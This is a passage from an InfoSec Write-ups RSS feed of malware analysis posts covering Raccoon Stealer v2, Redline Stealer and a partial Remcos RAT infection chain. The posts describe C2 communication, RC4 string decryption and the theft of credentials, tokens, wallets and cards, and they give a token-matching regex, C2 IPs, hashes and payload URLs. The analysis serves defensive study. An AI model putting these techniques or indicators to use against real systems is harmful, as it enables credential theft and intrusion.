href="https://github.com/TheC0mpany/NjRat-0.7D-Green-Edition-by-im523">https://github.com/TheC0mpany/NjRat-0.7D-Green-Edition-by-im523</a></p><p>[3] <a href="https://appsec-labs.com/portal/protecting-a-windows-application-from-premature-termination/">https://appsec-labs.com/portal/protecting-a-windows-application-from-premature-termination/</a></p><h4>From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. <a href="https://weekly.infosecwriteups.com/">Join our weekly newsletter</a> to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e90dce07a9e" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/njrat-malware-analysis-8e90dce07a9e">njRAT Malware Analysis</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Raccoon Stealer v2 Malware Analysis]]></title>
            <link>https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8?source=rss-cc1390803af5------2</link>
            <guid isPermaLink="false">https://medium.com/p/55cc33774ac8</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Aaron Stratton]]></dc:creator>
            <pubDate>Mon, 12 Sep 2022 00:26:26 GMT</pubDate>
            <atom:updated>2022-11-01T10:32:54.770Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LbtxFhDZg7Hioi5Akm4hvA.png" /><figcaption>Image credit: Bleepingcomputer.com (<a href="https://www.bleepingcomputer.com/news/security/malware-dev-infects-own-pc-and-data-ends-up-on-intel-platform/">https://www.bleepingcomputer.com/news/security/malware-dev-infects-own-pc-and-data-ends-up-on-intel-platform/</a>)</figcaption></figure><h3>Introduction</h3><p>Raccoon Stealer is an infostealer sold on underground hacker/cybercriminal forums, first observed in early 2019. Raccoon Stealer v2 first appeared in June of 2022, after the developers returned from a supposed “retirement” which they had announced in early 2022. [1] Just as with Raccoon Stealer v1, v2 is capable of stealing information to include cookies and other browser data, credit card data, usernames, and passwords.</p><h3>Technical Analysis</h3><p>Raccoon Stealer v2 is written in C/C++, and coming in at only ~57kb, it is fairly lightweight. Below are the hashes for the packed sample, and the unpacked sample. Based on my research, Raccoon Stealer is not sold packed by default, rather, any packing must be done by the customer who will deploy the malware.</p><ul><li>Packed SHA256: 40daa898f98206806ad3ff78f63409d509922e0c482684cf4f180faac8cac273</li><li>Unpacked SHA256: 0123b26df3c79bac0a3fda79072e36c159cfd1824ae3fd4b7f9dea9bda9c7909</li></ul><h4>Unpacking</h4><p>Unpacking this sample is pretty straightforward. All I did was place breakpoints on a few API calls of interest such as VirtualProtect, WriteProcessMemory, CreateProcessInternalW, and VirtualAlloc. Once the VirtualProtect breakpoint is hit, I followed the address in the EAX register in the memory dump, then ran the program again until the next breakpoint. After that, I was able to dump the payload from memory and continue my analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTE3MdWYprZ5Dy-21dhDwQ.png" /><figcaption>Figure 1. Dumping the second stage payload from memory.</figcaption></figure><h4>Resolving Imports</h4><p>To start off, I opened the payload in PEstudio to perform some basic static analysis, which will guide how I carry out the rest of the analysis. Opening the binary in PEstudio, the small number of imported functions (only 8) leads me to believe that the malware probably resolves its imports dynamically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z6whO9kvh92jUfI_zNtI4Q.png" /><figcaption>Figure 2. Imported functions displayed in PEstudio.</figcaption></figure><p>Disassembling the binary in Ghidra, I found the import resolver function early on in the binary, as expected. This function simply uses the GetProcAddress API function to load the address of the functions it will need. A few of these functions immediately catch my eye, those being the internet related functions highlighted below in figure 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*L7Wv-6tnzJ63G7K-Gikakg.png" /><figcaption>Figure 3. Internet-related functions in the import resolver function.</figcaption></figure><h4>Decrypting Strings and C2 IP Address</h4><p>The malware also obfuscates its strings using Base64 encoding and RC4 encryption. The RC4 encrypted strings are stored in the Base64 encoded form. These strings are Base64 decoded, then decrypted using the RC4 key “edinayarossiya”, which means “United Russia” in Russian. Once the strings are decrypted, the malware then performs the same decryption routine for the C2 IP address, but using a different RC4 key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*tg1TB5yXgZJHbES9p5uMZg.png" /><figcaption>Figure 4. Decoding and decrypting the C2 IP address.</figcaption></figure><p>With this RC4 key and Base64 encoded data, I could use cyberchef to get the IP address of the C2 node.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dRuEjhjTok9SMX5vMJeMVA.png" /><figcaption>Figure 5. Extracting the C2 IP address in cyberchef.</figcaption></figure><h4>Checking Mutex</h4><p>Next, the malware checks to see if another instance of it is already running on the infected machine by opening a mutex with the value of 8724643052. If the OpenMutexW function fails and returns a 0, the malware creates a mutex with the value, then continues execution. If the function succeeds and returns 1 (true), the malware exits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*hMnyZS8pgBoDXKA03xDrNQ.png" /><figcaption>Figure 6. Checking for open mutex.</figcaption></figure><h4>SYSTEM Check and Process Enumeration</h4><p>The malware also checks if it is running as SYSTEM by comparing the current process’s token to the SYSTEM SID, S-1–5–18.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*W7dyZy1HOryii6utJgMmmQ.png" /><figcaption>Figure 7. Malware checking if it is running with SYSTEM privileges.</figcaption></figure><p>If the malware is running as SYSTEM, it then calls a process enumeration function using CreateToolHelpSnapshot32, Process32First, and Process32Next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*yCNzFJW9ENL40rMrIDCrYA.png" /><figcaption>Figure 8. Enumerating the functions on the infected machine.</figcaption></figure><p>If the malware is <em>not </em>running with SYSTEM privileges, it simply skips over the process enumeration function and continues with its execution.</p><h4>Host GUID and Username</h4><p>Before connecting to the C2 node, the malware will retrieve the host’s GUID by querying the SOFTWARE\Microsoft\Cryptography registry key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*naXyekpI7-LN1yW86G11wA.png" /><figcaption>Figure 9. Retrieving the host GUID from the registry.</figcaption></figure><p>The malware also retrieves the current user’s username, and moves it along with the machine ID, onto the heap before contacting the C2 node.</p><h4>C2 Communication</h4><p>First the malware uses the WideCharToMultiByte API function to form all of the parameters it needs in order to connect to the C2 node, including the machineID, username, and configID parameters which will be sent to the C2 node via POST request. Of note, the configID parameter is just the RC4 key that was used to decrypt the C2 IP address earlier in the execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ToFR_iD4wWS4xImhDO01Qg.png" /><figcaption>Figure 10. POST request to the C2 node containing the machineID, username, and configID parameters.</figcaption></figure><p>The malware then checks to see if the response from the C2 node is larger than 0x3f (63 in decimal) characters long. If it is, the malware continues execution. If not, the malware breaks out of the loop and exits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*owgJSf-rLyaQSJJjlAY0Lw.png" /><figcaption>Figure 11. Checking the length of the C2 node’s response.</figcaption></figure><p>Unfortunately, at the time I performed my analysis, the C2 IP address did not appear to be up anymore, as Shodan showed that port 3389 (RDP) was the only listening port. Assuming that the C2 node was still operational and able to communicate with the infected host, the C2 node would return several different DLL’s for download to the infected host. Those DLL’s would then be placed in the “C:\Documents and Settings\Administrator\Local Settings\Application Data” folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*_N4e-h3Z7njvCJVDOz-C9A.png" /><figcaption>Figure 12. Note the function setting the folder path before moving the downloaded DLL’s to that path (C:\Documents and Settings\Administrator\Local Settings\Application Data)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*m9GV7cpDXb2bbfy61sb-VA.png" /><figcaption>Figure 13. Setting the folder path for the DLL’s to be placed into.</figcaption></figure><p>It is at this point that the malware would perform the bulk of its stealing functionality, including cookies, passwords, credit card data, passwords, browser history, etc. [2] Some of this functionality would automatically be executed, and some would require a command from an operator in control of the C2 node.</p><h3><strong>Conclusion</strong></h3><p>In conclusion, Raccoon Stealer v2 is a relatively simple, yet very capable info stealer just like v1. Both versions of this stealer pose a threat to organizations of all types, as well as individuals. The information stolen by this malware can be used to take over accounts of all types, financial, social media, corporate, etc.</p><p>I hope you enjoyed this post, and that you’ll come back again! A follow and share would be super appreciated. Feedback is certainly welcome as well.</p><h3>References</h3><p>[1] <a href="https://www.cybereason.com/blog/research/hunting-raccoon-stealer-the-new-masked-bandit-on-the-block">https://www.bleepingcomputer.com/news/security/raccoon-stealer-is-back-with-a-new-version-to-steal-your-passwords/</a></p><p>[2] <a href="https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/#h-mutex">https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/#h-mutex</a></p><h4>From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. <a href="https://weekly.infosecwriteups.com/">Join our weekly newsletter</a> to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 Github Repos and tools, and 1 job alert for FREE!</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55cc33774ac8" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8">Raccoon Stealer v2 Malware Analysis</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Redline Stealer Malware Static Analysis]]></title>
            <link>https://infosecwriteups.com/redline-stealer-malware-static-analysis-69367b37a146?source=rss-cc1390803af5------2</link>
            <guid isPermaLink="false">https://medium.com/p/69367b37a146</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[windows-10]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Aaron Stratton]]></dc:creator>
            <pubDate>Sat, 20 Aug 2022 02:40:22 GMT</pubDate>
            <atom:updated>2023-09-28T14:10:30.378Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MVZ5xWBD_4cujO5QqxL4GA.jpeg" /></figure><h3>Introduction</h3><p>This blog post will be a summary of findings from static analysis I recently performed on a sample of Redline stealer malware. This is not an exhaustive analysis of all of Redline’s capabilities, rather, it is an overview of some of the capabilities and methods which I found interesting.</p><p>According to Malpedia, “Redline Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.” [1]</p><h3>Technical Analysis</h3><p>Link to sample: <a href="https://bazaar.abuse.ch/sample/12aec3ae5c5828745e45a86fedbb1ff4c0631855f8e76d63f0ac7fb554d5afc3/">https://bazaar.abuse.ch/sample/12aec3ae5c5828745e45a86fedbb1ff4c0631855f8e76d63f0ac7fb554d5afc3/</a>.</p><p>Starting off, the file command reveals that the binary is a .NET assembly. According to the Microsoft .NET documentation, “Assemblies form the fundamental units of deployment, version control, reuse, activation scoping, and security permissions for .NET-based applications. An assembly is a collection of types and resources that are built to work together and form a logical unit of functionality. Assemblies take the form of executable (<em>.exe</em>) or dynamic link library (<em>.dll</em>) files, and are the building blocks of .NET applications. They provide the common language runtime with the information it needs to be aware of type implementations.” [2]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JnNNiPyNAwvdsKkOHBUvuw.png" /><figcaption>Figure 1. Output of file command.</figcaption></figure><p>.NET assemblies are essentially just the end result of coding and compiling a C# program. Luckily for malware analysts, C# binaries can be easily decompiled using a tool like dnSpy, meaning that they can directly view the source code, or at the very least, something very close to the source code. Before decompiling, though, I wanted to see what the pestudio tool could find in this binary. Right off the bat, I have an IP address, presumably for a C2 (Command &amp; Control) server. Also of note, pestudio reveals that the binary’s name at time of compilation was “Implosions.exe”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*3DlzpJp0MwUul0vwWdPkdg.png" /><figcaption>Figure 2. Possible C2 server IP address extracted from the binary as a plaintext string.</figcaption></figure><p>I took this IP address and searched for it on virustotal, and the communicating files section identifies the Implosions.exe filename. Thankfully, this particular sample already has a pretty high detection rate, meaning that in its current configuration, the malware will be caught by most antivirus products.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*GbMOFYsSGarUnqemdvAbQg.png" /><figcaption>Figure 3. Communicating files section identifying the Implosions.exe file.</figcaption></figure><p>On the other hand, it is trivially easy to change a hash just by changing one bit, renaming a variable, adding a junk comment, etc. I renamed one method in the binary and recompiled it with the renamed method, and the SHA256 hash was completely different, and previously unseen by virustotal. This illustrates the importance of not over-relying on tools like virustotal.</p><h4>Establishing C2 &amp; Early Execution</h4><p>Once I decompiled the binary in dnSpy, I went to the binary’s entry point, a class named “Program”, and I began my analysis. At the very top, I noticed another class named EntryPoint being passed as an argument to the Execute method, so I take note of that. The next thing I noticed is that the binary is executing decryption on four strings specified in the EntryPoint class: “Message”, “Key”, “IP”, and “ID”. The binary also decrypts the C2 IP address, and then attempts to establish a connection. Once the connection is established, Redline sleeps for 5 seconds before getting the ScanningArgs from the C2 server, probably in an attempt to evade behavior based detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6k2j6r4dJubJZYYolE6KRg.png" /><figcaption>Figure 4. Note the StringDecrypt.Decrypt method being used on the four strings from the EntryPoint class. Also note the Program.SeenBefore method.</figcaption></figure><p>Even though Redline uses the StringDecrypt.Decrypt method, it turns out that the strings stored within the EntryPoint class of this particular sample are not even encrypted at all. This was probably due to the threat actor(s) using this particular sample not being particulary concerned about OPSEC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*TlOrAE_BJXX_wcVU-lLBwg.png" /><figcaption>Figure 5. Plaintext C2 IP, ID, Message, and Key strings stored within the EntryPoint class.</figcaption></figure><p>Going back to the Program class, there is also a SeenBefore method (Noted in Figure 4). This method searches for a \AppData\Local\Yandex\YaAddon folder. If the folder exists, a false value is returned to the SeenBefore method, and if the folder doesn’t exist, it is created using the CreateDirectory method. The return value (true or false) is stored within the ScanResult data structure, and then returned to the threat actor at the C2 server, informing them of whether or not the infected machine has been infected with Redline stealer malware before. This would probably be of interest to cybercriminals for two main reasons. If the machine has been infected before, and information was stolen, then they won’t be able to sell that information in underground forums for a profit as easily. The second reason is that if a cybercriminal already stole credentials to multiple accounts, they <em>may </em>have changed credentials for some of these accounts, securing their continued access. Now a different cybercriminal comes along and steals what they think are valid credentials, but they’re actually invalid because they’ve been changed by the first cybercriminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*svNZZ_WMXLS44YVpo44NgA.png" /><figcaption>Figure 6. SeenBefore method.</figcaption></figure><h4>Information Stealing Functionality</h4><p>Now that Redline has established a connection to the C2 server and performed some initial system enumeration, it needs to begin taking commands from the operator to implement its functionality. Referring back to the Program class (the binary’s entrypoint), Redline gathers the scanning arguments specified by the operator. These arguments are all derived classes from the ScanningArgs class, and they specify what actions the binary is supposed to take. For example, the threat actor could specify “ScanDiscord”, and Redline would then execute methods within the DiscordRule class.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04sek4v2V9rbOfrIRZvH_Q.png" /><figcaption>Figure 7. Gathering scanning arguments.</figcaption></figure><p>Let’s continue with the Discord example. So the threat actor has supplied the ScanDiscord argument, and now Redline will execute the methods contained within the DiscordRule class.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*e1HYm0M-YT0JMOFgX-K-8g.png" /><figcaption>Figure 8. GetScanArgs method within the DiscordRule class. Note the string specifying that the directory to be searched is %appdata%\discord\Local\Storage\level1db.</figcaption></figure><p>The GetScanArgs method specifies the folder that will be searched, being <em>C:\Users\&lt;USER&gt;\AppData\Roaming\discord\Local\Storage\level1db</em>. The GetTokens method then uses a regular expression (regex) to perform a pattern search. The developer of the malware added in some light obfuscation by adding “String” into the regular expression used to search for the discord tokens. I have highlighted the presence of this obfuscation in the figure below. When this is removed later in the execution, the regular expression is: [A-Za-z\d]{24}\.[\w-]{6}\.[\w-]{27}. This regular expression fits the exact naming pattern which discord tokens follow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*097a3lvwQ0E7BmkyDZhpAw.png" /><figcaption>Figure 9. GetTokens method using regex to pattern search for discord tokens. Note the obfuscation attempt by adding “String” in random intervals between the regex characters.</figcaption></figure><p>The tokens are then stored in a file named “Tokens.txt”, and the file is read by the CopyFile method within the FileCopier class. Then the file data is copied into a shadow copy. These discord tokens are used for authentication to discord servers. A threat actor in possession of these tokens could attempt to authenticate to a discord server as if they were the victim user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*5rggmiXVJVOJmefzCaN98A.png" /><figcaption>Figure 10. ScannedFile class, where the results from the FileCopier method are stored.</figcaption></figure><p>The FileCopier contains several different methods which all implement similar yet slightly different functionality relating to enumerating, copying, and reading files. These methods are used extensively throughout other classes and methods in Redline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*mUSjldAQ6NPSKvuFXbjIFA.png" /><figcaption>Figure 11. Methods within FileCopier class.</figcaption></figure><p>Another interesting, albeit not surprising, aspect of Redline’s functionality is its targeting of cryptocurrency wallet credentials. Redline searches for cryptocurrency wallet credentials and cookies to steal using a child class of the FileScannerRule named BrowserExtensionsRule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*xEMzUVayNw15MrhfgxsGvA.png" /><figcaption>Figure 12. Dictionary of cryptocurrency wallets targeted by the BrowserExtensionsRule. Note that this does not include all of the target crypto wallets. There are several more which did not fit in this screenshot.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*bzvDvZplm8w5jSyMRGIZ-g.png" /><figcaption>Figure 13. GetScanArgs method specifying the Login Data, Web Data, and Cookies directories.</figcaption></figure><p>The AllWalletsRule class, a child class of the FileScannerRule class, uses the GetScanArgs method to specify that Redline will search for <em>C:\Users\&lt;USER&gt;\AppData\Roaming\wallets\wallet.data </em>to steal data from.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2zhGJIyxt0qVMqO9ILSoug.png" /><figcaption>Figure 14. GetScanArgs method being used within AllWalletsRule class to specify what file to scan for, wallet.data. Note the light obfuscation by placing the string “asf” in random places throughout the strings actually being used, then removing it.</figcaption></figure><p>Redline also targets data from the Telegram desktop application. It does this using the DesktopMessangerRule class, also a child of the FileScannerRule class. Redline will search the <em>C:\Users\&lt;USER&gt;\AppData\Telegram Desktop\tdata</em> folder for files with any extension, indicated by the asterisk in the Pattern variable below. The <em>\Telegram Desktop\tdata </em>folder contains messages, images, and files from Telegram sessions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*_Uzky3pvayAlfSsLQYy8CA.png" /><figcaption>Figure 15. Redline searches for Telegram desktop files stored in the tdata folder.</figcaption></figure><p>Redline is also capable of stealing information like passwords, cookies, autofill data, and credit cards from the Google Chrome browser. The C_h_r_o_m_e class contains methods such as ScanFills (autofills), ScanCC (credit cards), and ScanCook (cookies). The image below shows the ScanCC method. Redline reads the SQLite table named “credit_cards”, which Chrome uses to store credit card data that the user has decided to save for quick and easy online checkout. Once the credit_cards table has been read, Redline decrypts the data and parses it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*FCX7m0DF86RqWFvpMhFgbw.png" /><figcaption>Figure 16. Redline reads the credit_cards SQLite database table and decrypts the data.</figcaption></figure><p>Redline is also capable of gathering a large amount of data about the infected system using the SystemInfoHelper class. The GetFirewalls method uses calls to ManagementObjectSearcher [3] to gather information about anti-virus, anti-spyware, and firewall products, as well as Windows OS security settings. Again, there is an attempt at light obfuscation by adding random strings in the middle of the actual strings that will be used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*svs4DtxwLz-FxovxGh9Pew.png" /><figcaption>Figure 17. Redline using ManagementObjectSearcher calls to gather information about various security products and settings on the system.</figcaption></figure><h3>Indicators of Compromise (IOC’s)</h3><p>SHA256: 12aec3ae5c5828745e45a86fedbb1ff4c0631855f8e76d63f0ac7fb554d5afc3</p><p>C2 IP: 188.34.194.107:44644</p><h3><strong>Conclusion</strong></h3><p>In conclusion, Redline stealer is a very capable, modular, info stealing malware used by cybercriminals in a large number of attacks. The malware can be delivered via multiple methods, and can compromise financial and personal data with little effort by the threat actor. It is just one piece of a growing trend in the cybercriminal underground known as “Malware-as-a-Service” (MaaS).</p><p>I hope you enjoyed this post, and that you’ll come back again! A follow and share would be super appreciated. Feedback is certainly welcome as well. I am by no means an expert malware analyst, so if there’s something I missed, got wrong, a technique I could use, etc., feel free to let me know. Thanks!</p><h3>References</h3><ol><li>(Malpedia, <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer</a>)</li><li>(Microsoft technical documentation, <a href="https://docs.microsoft.com/en-us/dotnet/standard/assembly/">https://docs.microsoft.com/en-us/dotnet/standard/assembly/</a>)</li><li>(Microsoft technical documentation, <a href="https://docs.microsoft.com/en-us/dotnet/api/system.management.managementobjectsearcher?view=dotnet-plat-ext-6.0">https://docs.microsoft.com/en-us/dotnet/api/system.management.managementobjectsearcher?view=dotnet-plat-ext-6.0</a>)</li></ol><p><em>From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. </em><a href="https://weekly.infosecwriteups.com/"><strong><em>Join our weekly newsletter</em></strong></a><em> to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 Github Repos and tools, and 1 job alert for FREE!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69367b37a146" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/redline-stealer-malware-static-analysis-69367b37a146">Redline Stealer Malware Static Analysis</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analyzing a Remcos RAT Infection]]></title>
            <link>https://infosecwriteups.com/analyzing-a-remcos-rat-infection-5c9b6bfd7139?source=rss-cc1390803af5------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c9b6bfd7139</guid>
            <category><![CDATA[maldoc]]></category>
            <category><![CDATA[tcp-ip]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Aaron Stratton]]></dc:creator>
            <pubDate>Tue, 02 Aug 2022 02:27:22 GMT</pubDate>
            <atom:updated>2022-10-09T00:23:45.404Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/754/0*gz3O1xQ4X15H7WfN.png" /><figcaption>Credit: breakingsecurity.net</figcaption></figure><p>Welcome! Today I’ll be writing about some malware analysis I did recently. I came across a post on Brad Duncan’s website (<a href="https://www.malware-traffic-analysis.net/2022/01/04/index.html">https://www.malware-traffic-analysis.net/2022/01/04/index.html</a>) with some information about a Remcos RAT (Remote Access Trojan) infection originating from a malicious macro-enabled excel document. Remcos was originally intended to serve as a legitimate tool for IT staff to control/administrate computers, but it has been widely abused by threat actors due to its pre-packaged nature.</p><p>I decided to dig in and do some analysis myself, purely for my own learning and experience.</p><h3>Indicators of Compromise (IOC’s)</h3><ul><li>HTTP GET request — 64.188.19.241:80 — atcn.jpg</li><li>HTTP GET request — 104.223.119.167:80 — calient.jpg</li><li>HTTP GET request — 13.107.42.13:80 — misc.vbs</li><li>TLS encrypted traffic — 79.134.225.79:10174 — shiestynerd.dvrlists.com</li><li>SHA256: b1df072eba923c472e461200b35823fde7f8e640bfb468ff5ac707369a2fa35e</li><li>SHA256: 95c0a9e6463a2eb1bbfe3198cd4b6cd74927a209ca4ab17501c2f444494f4499</li><li>SHA256: df6b921e5b1379747c4ab66ad27cc729f387bb2c7c1c247f3c7bc5c9e3293ec3</li><li>SHA256: a9e4bb0982f850d37dcf3079d6f631d4f8d52d79f552711f88410ff3ae9dbd1a</li></ul><h3>Technical Analysis</h3><h4><strong>Email &amp; Malicious Excel Spreadsheet</strong></h4><p>Starting off, we have an eml file (email) to look at. This file will give us plenty of information to analyze, including the attached content, email headers, etc. We can see that there is an attached file named “Payment Remittance Advice 000000202213.xlsb”. The Content-Type field indicates that the attachment is a macro-enabled Microsoft Excel sheet, and the Content-Transfer-Encoding field indicates that the data is base64 encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzTTNWI94f88VRweLc6qRQ.png" /></figure><p>We can then copy this base64 encoded data into cyberchef and decode it. Doing so will reveal some more information, such as the “PK” at the beginning of the file header, indicating a ZIP archive file. Microsoft office files like word documents, powerpoints, and excel spreadsheets actually consist of multiple files in a ZIP archive. This, along with the Content_Types.xml string indicate that this is definitely an excel spreadsheet like the email headers told us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P6ieu4uT7AGKlQl2saTkmA.png" /><figcaption>Base64 decoded attachment data.</figcaption></figure><p>Also using cyberchef, we can download a copy of the excel spreadsheet by clicking on the floppy disk icon in the upper right portion of the output area. Now let’s get a hash for the spreadsheet and submit it to virustotal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wQDNJFrT5axjO8oY22Lb2w.png" /><figcaption>Virtustotal results for the “Payment Remittance Advice_000000202213.xlsb” excel spreadsheet.</figcaption></figure><p>Clearly this is a malicious file, with 30 vendors on virustotal identifying it as such. At this point, we should see what information we can learn about the macro embedded in the spreadsheet, as the macro is the component actually containing the malicious functionality. Using OLEtools, we can easily get an idea of how this macro is executing its malicious functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*8cz51rz_Hx69o_o0xOKA-Q.png" /><figcaption>olevba output for the malicious macro embedded in the excel spreadsheet.</figcaption></figure><p>The olevba tool gives us some good information, indicating that the macro is using the AutoExec function to run automatically upon opening the excel spreadsheet. It also tells us that the threat actor took efforts to obfuscate the functionality of the macro.</p><h4><strong>First Stage</strong></h4><p>We can also submit this excel spreadsheet to a sandbox like Hatching Triage (<a href="https://tria.ge/">https://tria.ge/</a>) to learn more about its behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*710Ib8GqvvO3CeQglJN5bQ.png" /><figcaption>Hatching Triage results for the malicious excel spreadsheet.</figcaption></figure><p>The results from Hatching Triage indicate that the excel process is spawning a powershell.exe process as well as a ping.exe process, neither of which should be spawned from excel. The threat actor is using a powershell script to ping google.com to make sure the victim machine has an internet connection. If the victim does have a connection, then the script will download and execute the first stage payload, a file named “misc.vbs”. Note that the command to download the misc.vbs file is lightly obfuscated using reversed text which is then un-reversed when the script is run. This is an attempt to evade static detection by automated tools, but it will fail everytime when looked at by a good analyst.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mIG_kHN4SGFc_oRqmkfDgA.png" /><figcaption>HTTP GET request to download “misc.vbs” from onedrive.</figcaption></figure><p>As we can see from the image above, the victim is then downloading the misc.vbs file from the onedrive.live.com URL that we saw in the powershell script. Looking into the misc.vbs file, we can see that it is pretty heavily obfuscated, however, there is some information we can pull from it. Towards the bottom of the file there is an Execute function with a hex encoded argument, and this function argument decodes to the address for the second stage payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*pbKnUEK0u44FIUzZ15A67Q.jpeg" /><figcaption>Hex encoded address for the second stage payload within misc.vbs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdBPtARwqCtYWi-qQcXHpQ.png" /><figcaption>Decoded address for second stage payload.</figcaption></figure><p>This first stage payload also establishes persistence for the second stage before it is installed by writing the second stage into the Windows registry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*O5IXEoHS5zUzaSdO2-1seA.png" /><figcaption>Second stage being written to the registry to establish persistence</figcaption></figure><p>Now even if the victim machine is restarted, the threat actor will still maintain a presence.</p><h4><strong>Second Stage</strong></h4><p>At this point, the victim has reached out and requested the second stage payload. Note that the data below is indicated to be JScript code. This JScript then runs powershell with the supplied hex encoded arguments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t0-IyvSBeeUl4Zf2VqC16A.png" /><figcaption>Hex encoded JScript code being masqueraded as jpg file data.</figcaption></figure><p>We can take this data and decode it with cyberchef to learn about its functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p7Y075T4uFTyj1fuUa6jmg.png" /><figcaption>Hex decoding of the JScript code.</figcaption></figure><p>As indicated in the image above, the powershell script reaches out to 104.223.119.167 again, this time to download a file named “calient.jpg”. This 